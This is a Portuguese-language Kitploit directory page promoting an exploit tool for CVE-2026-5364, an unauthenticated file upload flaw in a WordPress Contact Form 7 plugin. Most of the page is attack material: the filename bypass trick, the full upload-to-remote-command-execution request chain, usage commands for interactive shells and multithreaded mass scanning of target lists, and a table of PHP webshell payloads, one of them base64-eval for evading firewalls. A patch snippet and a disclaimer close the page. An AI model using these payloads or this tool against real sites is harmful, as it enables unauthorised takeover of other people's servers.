Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-5364 — CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7 | Kitploit
Ferramentas/GitHubGitHub/xxconi/cve-2026-5364
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-5364

CVE-2026-5364 é uma vulnerabilidade de upload arbitrário de arquivo não autenticado (CVSS 8.1, Alto) no plugin Drag and Drop File Upload for Contact Form 7

CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

Upload Arbitrário de Arquivo Não Autenticado via Bypass de sanitize_file_name() CVSS 8.1 (Alto) | Afetado: <= 1.1.3 | Corrigido: 1.1.4


📋 Visão Geral

CampoValor
CVE IDCVE-2026-5364
PluginDrag and Drop File Upload for Contact Form 7
Slugdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1 (High)
VetorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Afetado<= 1.1.3
Corrigido1.1.4
PesquisadorThomas Sanzey
Publicação23 de Abril de 2026

🔍 Resumo da Vulnerabilidade

O plugin lê a extensão do arquivo antes da limpeza sanitize_file_name(). O atacante envia um arquivo chamado shell.php$:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← burla a blacklist
sanitize_file_name('shell.php$')            →  'shell.php'  ← salvo como PHP

Três vulnerabilidades independentes em cadeia:

  1. Lista de permissões controlada pelo atacante — o parâmetro POST type é lido do usuário
  2. Extensão antes da sanitização — pathinfo() é aplicado ao nome bruto do arquivo
  3. Sanitização tardia — sanitize_file_name() dentro de wp_unique_filename() remove o caractere $

⚙️ Instalação

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

Requisitos

  • Python 3.8+
  • Biblioteca requests
  • Alvo: WordPress + CF7 D&D Upload <= 1.1.3 + página com formulário CF7

🚀 Uso

Alvo Único

root@kitploit:~
# Exploit básico (comando id)
python CVE-2026-5364.py -u https://target.com

# Comando personalizado
python CVE-2026-5364.py -u https://target.com -c "whoami"

# Shell interativo
python CVE-2026-5364.py -u https://target.com --interactive

# Tipo de shell diferente
python CVE-2026-5364.py -u https://target.com --shell exec

# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

Varredura em Lote

root@kitploit:~
# Varredura com 20 threads
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# Tentar versões corrigidas também
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# Salvar resultados em arquivo
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

Todos os Parâmetros

root@kitploit:~
Alvo:
  -u, --url URL         URL de alvo único
  -l, --list FILE       Lista de alvos (uma URL por linha)

Exploit:
  -c, --cmd CMD         Comando do SO (padrão: id)
  --shell TYPE          Tipo de webshell: basic|exec|pass|eval|info
  -i, --interactive     Abrir shell interativo
  --no-skip-patched     Tentar versões corrigidas também

Varredura:
  -t, --threads N       Número de threads (padrão: 10)
  --timeout S           Timeout em segundos (padrão: 15)
  --proxy URL           Endereço do proxy

Saída:
  -o, --output FILE     Arquivo de resultados
  -v, --verbose         Saída detalhada
  --no-color            Saída sem cores

🐚 Tipos de Webshell


🔬 Detalhe Técnico

Cadeia do Exploit

root@kitploit:~
1. Detecção de Nonce
   └─ Exposto a cada visitante via wp_localize_script()
      GET /contact/ → no HTML: "nonce":"abc123def4"

2. Upload do Shell
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← não está na blacklist
      file=shell.php$    ← sanitize_file_name() → shell.php

3. Obtenção da URL
   └─ Response: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

Caracteres de Bypass

Caracteres removidos por sanitize_file_name():

root@kitploit:~
$  %  ~  `  (espaço)

A ferramenta tenta automaticamente todos os caracteres de bypass.


🛡️ Fatores Mitigadores


🩹 Solução

Atualize o plugin para a versão 1.1.4 ou superior.

root@kitploit:~
# Atualização via WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7

Correção no Código (1.1.4)

root@kitploit:~
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// DOĞRU (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id);  // POST'tan değil

⚠️ Aviso Legal

Esta ferramenta foi desenvolvida apenas para pesquisas de segurança educacionais e defensivas. O uso em sistemas não autorizados é proibido e pode ter consequências legais. Use apenas em sistemas para os quais você tenha permissão.


📄 Referências

  • Wordfence Advisory
  • WordPress Plugin Page
  • NVD CVE-2026-5364
  • sanitize_file_name() Docs
Baixar ferramenta
TipoPayloadUso
basic<?php system($_GET["cmd"]); ?>Propósito geral
exec<?php echo shell_exec($_GET["cmd"]); ?>Saída completa
pass<?php passthru($_GET["cmd"]); ?>Saída binária
eval<?php @eval(base64_decode($_POST["x"])); ?>Furtivo/bypass WAF
info<?php phpinfo(); ?>Informação do PHP
FatorImpacto
Apache .htaccess (Content-Disposition: attachment)Impede execução de PHP
Nginx / LiteSpeed.htaccess inválido — RCE possível
Nome de arquivo aleatório (uniqid())Como a resposta AJAX retorna a URL, ineficaz
NonceProteção CSRF — não é autenticação, ineficaz